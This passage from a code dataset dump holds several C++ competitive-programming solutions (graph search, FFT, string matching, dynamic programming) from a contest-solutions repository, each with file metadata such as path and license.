g[u].size(); i++) {\r\n int v = g[u][i];\r\n if (!mark[v]) {\r\n dfs(v);\r\n }\r\n if (toend[v]) {\r\n toend[u] = true;\r\n }\r\n }\r\n}\r\n\r\nint mark1[N];\r\n\r\nbool mayor = false;\r\n\r\nlong long dp[N];\r\n\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n cin >> n >> m;\r\n\r\n for (int i = 0, x, y; i < m; i++) {\r\n cin >> x >> y;\r\n g[x].push_back(y);\r\n gi[y].push_back(x);\r\n }\r\n\r\n dfs(1);\r\n\r\n if (!mark[2]) {\r\n cout << \"0\\n\";\r\n return 0;\r\n }\r\n topological(1);\r\n reverse(topo.begin(), topo.end());\r\n assert(topo[0] = 1);\r\n assert(topo.back() == 2);\r\n bool cycle = false;\r\n mark1[1] = true;\r\n for (int i = 1; i + 1 < topo.size(); i++) {\r\n for (int j = 0; j < g[topo[i]].size(); j++) {\r\n int v = g[topo[i]][j];\r\n if (toend[v]) {\r\n if (mark1[v]) {\r\n cycle = true;\r\n break;\r\n }\r\n }\r\n }\r\n mark1[topo[i]] = true;\r\n if (cycle) {\r\n break;\r\n }\r\n }\r\n\r\n if (cycle) {\r\n cout << \"inf\\n\";\r\n return 0;\r\n }\r\n\r\n dp[1] = 1;\r\n for (int i = 0; i + 1 < topo.size(); i++) {\r\n for (int j = 0; j < g[topo[i]].size(); j++) {\r\n int v = g[topo[i]][j];\r\n dp[v] += dp[topo[i]];\r\n if (dp[v] >= MOD) {\r\n mayor = true;\r\n }\r\n if (mayor) {\r\n dp[v] %= MOD;\r\n }\r\n }\r\n }\r\n\r\n if (!mayor) {\r\n cout << dp[2] << \"\\n\";\r\n return 0;\r\n }\r\n\r\n vector <int> ans;\r\n int x = dp[2];\r\n while (x) {\r\n ans.push_back(x % 10);\r\n x /= 10;\r\n }\r\n\r\n while (ans.size() < 9) {\r\n ans.push_back(0);\r\n }\r\n\r\n for (int i = ans.size() - 1; i >= 0; i--) {\r\n cout << ans[i];\r\n }\r\n cout << \"\\n\";\r\n\r\n //copy( topo.begin(), topo.end(), ostream_iterator<int>( cout, \" \" ) ); cout << endl;\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3322475552558899, "alphanum_fraction": 0.35396307706832886, "avg_line_length": 17.595745086669922, "blob_id": "4c726ce162acc4918e1fda4ca0f0fe4b9efa9a8f", "content_id": "7e84c49c565b3907b910cea5399d162f3b3b9206", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 921, "license_type": "no_license", "max_line_length": 58, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p1874-Accepted-s707884.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, c, h[N], hh[N], ini, ans;\r\n\r\nint f(int x) {\r\n\tint ret = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (x > h[i]) {\r\n\t\t\thh[i] = x;\r\n\t\t\tret += (x - h[i]) * (x - h[i]);\r\n\t\t} else {\r\n\t\t\thh[i] = h[i];\r\n\t\t}\r\n\t\tif (i != 1) ret += c * (hh[i] - hh[i - 1]);\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &c);\r\n\tfor (int i = 1; i <= n; i++) {\r\n scanf(\"%d\", h + i);\r\n }\r\n\tfor (int i = 2; i <= n; i++) ini += abs(h[i] - h[i - 1]);\r\n\tini *= c;\r\n\tsort(h + 1, h + n + 1);\r\n\tint lo = h[1], hi = h[n], a, b;\r\n\twhile (lo < hi) {\r\n\t //printf(\"%d %d\\n\", lo, hi);\r\n\t\ta = lo + (hi - lo) / 3;\r\n\t\tb = hi - (hi - lo) / 3;\r\n\t\tif (f(a) > f(b)) {\r\n ans = b;\r\n lo = a + 1;\r\n } else {\r\n ans = a;\r\n hi = b - 1;\r\n }\r\n\t}\r\n\tans = f(ans);\r\n\tprintf(\"%d %d\\n\", ans, ini - ans);\r\n}\r\n" }, { "alpha_fraction": 0.3268178403377533, "alphanum_fraction": 0.37529319524765015, "avg_line_length": 17.676923751831055, "blob_id": "6d5d4ce58a1e5617d2d9cc7e4b789054af41b1f8", "content_id": "29b4dcfb30fe1fb7957a2c121ef6bbd078f8afdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1279, "license_type": "no_license", "max_line_length": 71, "num_lines": 65, "path": "/COJ/eliogovea-cojAC/eliogovea-p3897-Accepted-s1123290.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 200 * 1000 + 10;\r\n\r\nint n;\r\nint x[N], y[N];\r\nint cnt[5][5][5];\r\nint ap[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t}\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tx[i] -= x[0];\r\n\t\ty[i] -= y[0];\r\n\t}\r\n\tx[0] = 0;\r\n\ty[0] = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tx[i] = ((x[i] % 2) + 2) % 2;\r\n\t\ty[i] = ((y[i] % 2) + 2) % 2;\r\n\t}\r\n\tint pa = 0;\r\n\tfor (int i = 1; i + 1 < n; i++) {\r\n\t\tpa += ((x[i] * y[i + 1] - y[i] * x[i + 1]) + 2) % 2;\r\n\t\tpa %= 2;\r\n\t}\r\n\r\n\tif (pa != 0) { // el area total tiene que ser par\r\n\t\tcout << \"0\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tlong long answer = 0;\r\n\r\n\tap[0] = 0;\r\n\r\n\tint ca = 0;\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tca += (x[i - 1] * y[i] - y[i - 1] * x[i] + 2) % 2;\r\n\t\tca %= 2;\r\n\t\tap[i] = ca;\r\n\t\tfor (int aap = 0; aap < 2; aap++) {\r\n\t\t\tfor (int mx = 0; mx < 2; mx++) {\r\n\t\t\t\tfor (int my = 0; my < 2; my++) {\r\n\t\t\t\t\tif (((ca + (((mx * y[i] - my * x[i]) + 2) % 2) + aap) % 2) == 0) {\r\n\t\t\t\t\t\tanswer += cnt[aap][mx][my];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t// cerr << i << \" \" << answer << \"\\n\";\r\n\t\tcnt[ap[i - 1]][x[i - 1]][y[i - 1]]++;\r\n\t}\r\n\tanswer--; // estoy contando el primer punton con el ultimo\r\n\r\n\tcout << answer << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.43697479367256165, "alphanum_fraction": 0.45798319578170776, "avg_line_length": 12.875, "blob_id": "6ac4db4afcb1a7cfe2ca42ba7e77e85cfae52a15", "content_id": "2e42216023e57321816b1fae29b9272323dc3d2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 238, "license_type": "no_license", "max_line_length": 30, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p1237-Accepted-s471619.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nlong a,b,c;\r\n\r\nint main()\r\n{\r\n while(cin >> a >> b)\r\n {\r\n if(a==0 && b==0)break;\r\n c=min(2*a-b,2*b-a);\r\n cout << c << endl;\r\n }\r\nreturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.4171122908592224, "alphanum_fraction": 0.4491978585720062, "avg_line_length": 17.700000762939453, "blob_id": "7f6b0945473669e7f7f0a06db89757d3f4622ccf", "content_id": "d0b91ead5e066fdcb75a012ae4580898e5682765", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 748, "license_type": "no_license", "max_line_length": 73, "num_lines": 40, "path": "/SPOJ/ABCDEF.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \ntypedef long long ll;\n \nint n, a[105];\nint cntl, cntr;\nll l[1000005], r[1000005];\n \n// l guarda a * b + c\n// r guarda (e + f) * d con d != 0\n \nll ans;\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(false);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a[i];\n\t}\n\tfor (int i = 0; i < n; i++) {\n\t\tfor (int j = 0; j < n; j++) {\n\t\t\tfor (int k = 0; k < n; k++) {\n l[cntl++] = a[i] * a[j] + a[k];\n\t\t\t\tif (a[k] != 0) {\n\t\t\t\t r[cntr++] = (a[i] + a[j]) * a[k];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tsort(l, l + cntl);\n\tsort(r, r + cntr);\n\tfor (int i = 0; i < cntl; i++) {\n\t\tans += upper_bound(r, r + cntr, l[i]) - lower_bound(r, r + cntr, l[i]);\n\t}\n\tcout << ans << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3100649416446686, "alphanum_fraction": 0.3392857015132904, "avg_line_length": 21.69230842590332, "blob_id": "2a4913b74271624da276c4807683a96b5b9144e9", "content_id": "591df6a7a0920d54b368434488f544b1660f3336", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 616, "license_type": "no_license", "max_line_length": 58, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p1240-Accepted-s471462.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nint n[90],N,B,s;\r\nbool b[91];\r\n\r\nint main(){\r\n b[0]=1;\r\n while(cin >> N >> B){\r\n if(N==0 && B==0)break;s=0;\r\n \r\n for(int i=0; i<B; i++)cin >> n[i];\r\n \r\n for(int i=1; i<=N; i++)b[i]=0;\r\n \r\n for(int i=0; i<B-1; i++)\r\n for(int j=i+1; j<B; j++)b[abs(n[i]-n[j])]=1;\r\n\r\n for(int i=1; i<=N; i++)if(b[i])s++;\r\n\r\n if(s==N)cout << \"Y\" << endl;\r\n else cout << \"N\" << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3711340129375458, "alphanum_fraction": 0.42525774240493774, "avg_line_length": 16.11627960205078, "blob_id": "b030750ecc8c95abe69c1c3a403c22f90674ff45", "content_id": "5e51acbb190dc191eb6ce8e8270b5e8974e66772", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 776, "license_type": "no_license", "max_line_length": 52, "num_lines": 43, "path": "/Timus/1354-6165753.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1354\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstring s1, s2;\r\nint pi[20005];\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tcin >> s1;\r\n\ts2 = s1;\r\n\treverse(s2.begin(), s2.end());\r\n\ts2 += \"#\";\r\n\ts2 += s1;\r\n\tint n = s2.size();\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tint j = pi[i - 1];\r\n\t\twhile (j > 0 && s2[i] != s2[j]) {\r\n\t\t\tj = pi[j - 1];\r\n\t\t}\r\n\t\tif (s2[i] == s2[j]) {\r\n\t\t\tj++;\r\n\t\t}\r\n\t\tpi[i] = j;\r\n\t}\r\n\tint cnt = pi[n - 1];\r\n\twhile (cnt == s1.size()) {\r\n\t\tcnt = pi[cnt - 1];\r\n\t}\r\n\tfor (int i = 0; i < s1.size() - cnt; i++) {\r\n\t\tcout << s1[i];\r\n\t}\r\n\tfor (int i = s1.size() - cnt; i < s1.size(); i++) {\r\n\t\tcout << s1[i];\r\n\t}\r\n\tfor (int i = s1.size() - cnt - 1; i >= 0; i--) {\r\n\t\tcout << s1[i];\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3805803656578064, "alphanum_fraction": 0.4296875, "avg_line_length": 12.769230842590332, "blob_id": "17509510e2da098edffa49be5fd870144e5ebce7", "content_id": "a4a1b22cb310a122f5f5113c11665653b6070fb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 896, "license_type": "no_license", "max_line_length": 42, "num_lines": 65, "path": "/Codechef/UNIONSET.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n, k;\n\t\tcin >> n >> k;\n\t\tvector <pair <int, int> > all;\n\t\t// all.reserve(n * k);\n\t\tint answer = 0;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tint len;\n\t\t\tcin >> len;\n\t\t\tvector <int> v(len);\n\t\t\tvector <bool> mark(k);\n\t\t\tfor (int j = 0; j < len; j++) {\n\t\t\t\tcin >> v[j];\n\t\t\t\tv[j]--;\n\t\t\t\tmark[v[j]] = true;\n\t\t\t}\n\t\t\tif (i != 0) {\n\t\t\t\tvector <int> cnt(i);\n\t\t\t\tfor (int j = 0; j < all.size(); j++) {\n\t\t\t\t\tif (!mark[all[j].first]) {\n\t\t\t\t\t\tcnt[all[j].second]++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor (int j = 0; j < i; j++) {\n\t\t\t\t\tif (cnt[j] == k - len) {\n\t\t\t\t\t\tanswer++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tfor (int j = 0; j < len; j++) {\n\t\t\t\tall.push_back(make_pair(v[j], i));\n\t\t\t}\n\t\t}\n\t\tcout << answer << \"\\n\";\n\t}\n}\n\n/*\n3\n2 2\n1 1\n1 1\n3 2\n2 1 2\n2 1 2\n2 1 2\n3 4\n3 1 2 3\n4 1 2 3 4\n3 2 3 4\n\n0\n3\n3\n*/\n\n" }, { "alpha_fraction": 0.41633859276771545, "alphanum_fraction": 0.437007874250412, "avg_line_length": 19.617021560668945, "blob_id": "ebf068f23cb6dd415160d184efea21ef514a74c5", "content_id": "ff389ff8875743e960dd319bb6c99a85733f4981", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1016, "license_type": "no_license", "max_line_length": 71, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p1005-Accepted-s918855.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nint t;\r\nint n;\r\nint s[N], e[N], v[N];\r\n\r\nint vals[2 * N];\r\n\r\nvector <pair <int, int> > graph[2 * N];\r\nint dp[2 * N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> s[i] >> e[i] >> v[i];\r\n\t\t\te[i] += s[i];\r\n\t\t\tvals[i] = s[i];\r\n\t\t\tvals[n + i] = e[i];\r\n\t\t}\r\n\t\tsort(vals, vals + 2 * n);\r\n\t\tint cnt = unique(vals, vals + 2 * n) - vals;\r\n\t\tfor (int i = 0; i <= cnt; i++) {\r\n\t\t\tgraph[i].clear();\r\n\t\t\tdp[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\ts[i] = 1 + lower_bound(vals, vals + cnt, s[i]) - vals;\r\n\t\t\te[i] = 1 + lower_bound(vals, vals + cnt, e[i]) - vals;\r\n\t\t\tgraph[e[i]].push_back(make_pair(s[i], v[i]));\r\n\t\t}\r\n\t\tfor (int i = 1; i <= cnt; i++) {\r\n\t\t\tdp[i] = dp[i - 1];\r\n\t\t\tfor (int j = 0; j < graph[i].size(); j++) {\r\n\t\t\t\tdp[i] = max(dp[i], dp[graph[i][j].first - 1] + graph[i][j].second);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << dp[cnt] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3217097818851471, "alphanum_fraction": 0.3532058596611023, "avg_line_length": 17.52083396911621, "blob_id": "50a43db6d1970a6ed0ab48ce20c8871875699b1b", "content_id": "2d669320ac19ef0e384d93cde38b335ebb4ef567", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 889, "license_type": "no_license", "max_line_length": 68, "num_lines": 48, "path": "/Codeforces-Gym/101606 - 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)\n// 101606A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n int n; cin >> n;\n int h[n+2], r[n+2], t[n+2];\n\n int mx = 1;\n\n for( int i = 1; i <= n; i++ ){\n cin >> h[i] >> r[i] >> t[i];\n\n if( h[mx] < h[i] ){\n mx = i;\n }\n }\n\n for( int i = 0; i < 1825 * h[mx]; i++ ){\n bool ok = true;\n\n for( int j = 1; j <= n; j++ ){\n int cur = i % h[j];\n\n if( r[j] < t[j] ){\n ok &= (cur <= r[j] || t[j] <= cur);\n }\n else{\n ok &= (t[j] <= cur && cur <= r[j]);\n }\n }\n\n if( ok ){\n cout << i << '\\n';\n return 0;\n }\n }\n\n cout << \"impossible\\n\";\n}\n" }, { "alpha_fraction": 0.368844211101532, "alphanum_fraction": 0.4010050296783447, "avg_line_length": 16.610618591308594, "blob_id": "2c18f9e78bb92e599ffcabf1f376d7c5c8153fea", "content_id": "552262645b3a42ce7f12060c614c24d1d46314c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1990, "license_type": "no_license", "max_line_length": 71, "num_lines": 113, "path": "/Codeforces-Gym/100781 - 2015-2016 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2015)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC Nordic Collegiate Programming Contest (NCPC 2015)\n// 100781A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\nvector<int> g[MAXN];\n\nint d[MAXN];\nint d1[MAXN];\nint d2[MAXN];\nint mk[MAXN];\n\ntypedef pair<int,int> par;\n\nint n;\n\nint dfs( int u, int p , int *d, int dist){\n mk[u] = true;\n d[u] = dist;\n\n if( g[u].size() == 0 || ( g[u].size() == 1 && p != -1 ) ){\n return u;\n }\n\n int ret = u;\n for(int i = 0; i < g[u].size(); i++){\n int v = g[u][i];\n if( v != p ){\n int tmp = dfs( v , u , d , dist+1 );\n if( d[ret] < d[tmp] ){\n ret = tmp;\n }\n }\n }\n\n return ret;\n}\n\nint get_sol( int u , int p ){\n if( g[u].size() == 0 || (g[u].size() == 1 && p != -1 ) ){\n return max( d1[u] , d2[u] );\n }\n\n int ret = max( d1[u] , d2[u] );\n\n for(int i = 0; i < g[u].size(); i++){\n int v = g[u][i];\n if( v != p ){\n int tmp = get_sol( v , u );\n ret = min( ret , tmp );\n }\n }\n\n return ret;\n}\n\nint kk[MAXN];\n\nint solve( int u ){\n int a = dfs( u , -1 , d , 0 );\n\n int b = dfs( a , -1 , d1 , 0 );\n\n dfs( b , -1 , d2 , 0 );\n\n kk[u] = d1[b];\n\n return get_sol( u , -1 );\n}\n\nint sol[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int m; cin >> n >> m;\n\n for(int i = 0; i < m; i++){\n int u,v; cin >> u >> v;\n g[u].push_back(v);\n g[v].push_back(u);\n }\n\n int nsol = 0;\n\n for(int i = 0; i < n; i++){\n if( !mk[i] ){\n sol[nsol++] = solve( i );\n }\n }\n\n sort( sol , sol + nsol );\n\n int outp = 0;\n for(int i = 0; i < n; i++){\n outp = max( outp , kk[i] );\n }\n if( n > 1 ){\n outp = max( outp , sol[nsol-1] + sol[nsol-2] + 1 );\n }\n if( nsol > 2 ){\n outp = max( outp , sol[nsol-2] + sol[nsol-3] + 2 );\n }\n\n cout << outp << '\\n';\n}\n" }, { "alpha_fraction": 0.3341924250125885, "alphanum_fraction": 0.3543814420700073, "avg_line_length": 18.081966400146484, "blob_id": "bfae536e60b2a436912483a734c09d80152d860a", "content_id": "9842016c7725af88bde4f0bbe5ea72010c361b5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2328, "license_type": "no_license", "max_line_length": 116, "num_lines": 122, "path": "/Caribbean-Training-Camp-2018/Contest_4/Solutions/C4.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\nusing namespace std;\ntypedef long long ll;\ntypedef complex<long double> Complex;\nconst long double PI = acos(-1);\n\nvoid fft( vector<Complex> &a, int n, int dir ){\n\n int lg = 0;\n while( n > (1<<lg) ) lg++;\n\n assert( n == (1<<lg) );\n\n for( int i = 0; i < n; i++ ){\n int pos = 0;\n for( int j = 0; j < lg; j++ ){\n pos <<= 1;\n pos |= (i>>j) & 1;\n }\n\n if( i < pos ){\n swap( a[i], a[pos] );\n }\n }\n\n for( int i = 1; i <= lg; i++ ){\n\n int m = 1<<i;\n int k = m>>1;\n Complex w, wn, u, t;\n wn = Complex( cos( (long double)dir*2.0*PI/(long double)m), sin( (long double)dir*2.0*PI/(long double)m ) );\n\n for( int j = 0; j < n; j += m ){\n w = Complex( 1.0, 0.0 );\n for( int l = j; l < j+k; l++ ){\n t = w*a[l+k];\n u = a[l];\n a[l] = u + t;\n a[l+k] = u - t;\n w *= wn;\n }\n }\n\n }\n if( dir == -1 ){\n for( int i = 0; i < n; i++ ){\n a[i] /= (long double)n;\n\n }\n\n }\n\n}\n\ninline int power(int x, int n, int m) {\n int y = 1 % m;\n while (n) {\n if (n & 1) {\n y = (long long)y * x % m;\n }\n x = (long long)x * x % m;\n n >>= 1;\n }\n return y;\n}\n\nint B = 1000;\nint D = 2;\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n //freopen( \"dat.txt\", \"r\", stdin );\n\n int n, m;\n cin >> n >> m;\n\n vector <int> f(m);\n for (int x = 1; x < m; x++) {\n f[power(x, n, m)]++;\n }\n\n\n vector <int> g(m);\n for (int x = 1; x < m; x++) {\n g[(2 * power(x, n, m)) % m]++;\n }\n\n int l = 1;\n while (l < m + m - 1) {\n l <<= 1;\n }\n\n vector <Complex> P(l);\n for (int i = 0; i < m; i++) {\n P[i] = f[i];\n }\n\n fft(P, l, 1);\n for (int i = 0; i < l; i++) {\n P[i] *= P[i];\n }\n fft(P, l, -1);\n\n vector <long long> ff(l);\n for (int i = 0; i < l; i++) {\n ff[i] = round(P[i].real());\n }\n\n for (int i = m; i < l; i++) {\n ff[i - m] += ff[i];\n }\n\n long long ans = 0;\n\n for (int i = 0; i < m; i++) {\n long long x = (ff[i] + (long long)g[i]) / 2LL;\n ans += (long long)x * f[i];\n }\n\n cout << ans << \"\\n\";\n\n}\n" }, { "alpha_fraction": 0.39803922176361084, "alphanum_fraction": 0.40392157435417175, "avg_line_length": 16.214284896850586, "blob_id": "ace0ba6b575d32d4def0237190b9a64b7805453d", "content_id": "16ddc7f6e705bc28c74b6803611a5604419282e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 510, "license_type": "no_license", "max_line_length": 46, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p2806-Accepted-s636367.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <stack>\r\n\r\nusing namespace std;\r\n\r\nint n, k, p;\r\nstring str, sol;\r\nstack<char> S;\r\n\r\nint main() {\r\n\tcin >> n >> k >> str;\r\n\tfor (int i = 0; i < n; i++) {\r\n if (p != k)\r\n while (!S.empty() && S.top() < str[i]) {\r\n S.pop();\r\n p++;\r\n if (p == k) break;\r\n }\r\n if (S.size() != n - k) S.push(str[i]);\r\n\t}\r\n\twhile (!S.empty()) {\r\n\t\tsol += S.top();\r\n\t\tS.pop();\r\n\t}\r\n\tfor (int i = sol.size() - 1; i >= 0; i--)\r\n cout << sol[i];\r\n cout << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.3954545557498932, "alphanum_fraction": 0.4212121069431305, "avg_line_length": 19.29032325744629, "blob_id": "e29844dffc80dc59a7ede38f38b06095c43d7806", "content_id": "2e1b772897f5b85415e1f0659d91ef75865013ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 660, "license_type": "no_license", "max_line_length": 46, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2299-Accepted-s632034.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000005, inf = 1 << 29;\r\n\r\nint f, s, g, u, d, dp[MAXN];\r\nqueue<int> Q;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> f >> s >> g >> u >> d;\r\n\tfor (int i = 1; i <= f; i++)\r\n\t\tdp[i] = inf;\r\n\tdp[s] = 0;\r\n\tQ.push(s);\r\n\twhile (!Q.empty()) {\r\n\t\tint a = Q.front();\r\n\t\tQ.pop();\r\n\t\tif (a + u <= f && dp[a + u] > dp[a] + 1) {\r\n\t\t\tdp[a + u] = dp[a] + 1;\r\n\t\t\tQ.push(a + u);\r\n\t\t}\r\n\t\tif (a - d >= 1 && dp[a - d] > dp[a] + 1) {\r\n\t\t\tdp[a - d] = dp[a] + 1;\r\n\t\t\tQ.push(a - d);\r\n\t\t}\r\n\t}\r\n\tif (dp[g] == inf) cout << \"use the stairs\\n\";\r\n\telse cout << dp[g] << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.4522387981414795, "alphanum_fraction": 0.483582079410553, "avg_line_length": 17.705883026123047, "blob_id": "e1878c57e285d0a03ee386eee27de94b6b0a2392", "content_id": "a238afa36451674fe39d2d38a80319db50e33b76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 670, "license_type": "no_license", "max_line_length": 68, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2470-Accepted-s581163.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 31000;\r\n\r\nint n, k, suma[MAXN + 10], last;\r\nstring str;\r\nvector<int> v[25];\r\n\r\nint main()\r\n{\r\n\tcin >> n >> k;\r\n\tfor (int i = 0; i < n; i++)\r\n\t{\r\n\t\tcin >> str;\r\n\t\tint s = str.size();\r\n\t\tint p = v[s].end() - lower_bound(v[s].begin(), v[s].end(), i - k);\r\n\t\tv[s].push_back(i);\r\n\t\tint carry = 0;\r\n\t\tfor (int j = 0; j <= last || p; j++)\r\n\t\t{\r\n\t\t\tcarry += suma[j] + (p % 10);\r\n\t\t\tsuma[j] = carry % 10;\r\n\t\t\tcarry /= 10;\r\n\t\t\tp /= 10;\r\n\t\t\tlast = max(last, j);\r\n\t\t}\r\n\t\tif (carry) suma[++last] = carry;\r\n\t}\r\n\tfor (int i = last; i >= 0; i--) cout << suma[i];\r\n\tcout << endl;\r\n}\r\n" }, { "alpha_fraction": 0.4200807809829712, "alphanum_fraction": 0.4420080780982971, "avg_line_length": 17.919540405273438, "blob_id": "3214d03879d5400a4fb5259d8782b5d17d09e83a", "content_id": "9119850e58c65071cff3ce5a9657868b412a6a1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1733, "license_type": "no_license", "max_line_length": 91, "num_lines": 87, "path": "/COJ/eliogovea-cojAC/eliogovea-p1639-Accepted-s785107.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ull;\r\n\r\nconst int N = 100005;\r\n\r\nconst ull C = 3421;\r\nconst ull B = 31;\r\n\r\nint n;\r\nstring a, b;\r\n\r\null ha[N], hb[N];\r\null POW[N];\r\n\r\npair<ull, int> v[N], pp;\r\n\r\ninline ull get(ull *h, int s, int e) {\r\n\treturn h[e] - h[s] * POW[e - s];\r\n}\r\n\r\nbool compare(int ba, int bb, int len) {\r\n\tint lo = 0, hi = len;\r\n\tint x = 0;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tif (get(ha, ba, ba + mid) == get(hb, bb, bb + mid)) {\r\n\t\t\tx = mid;\r\n\t\t\tlo = mid + 1;\r\n\t\t} else {\r\n\t\t\thi = mid - 1;\r\n\t\t}\r\n\t}\r\n\treturn b[bb + x] < a[ba + x];\r\n}\r\n\r\nint 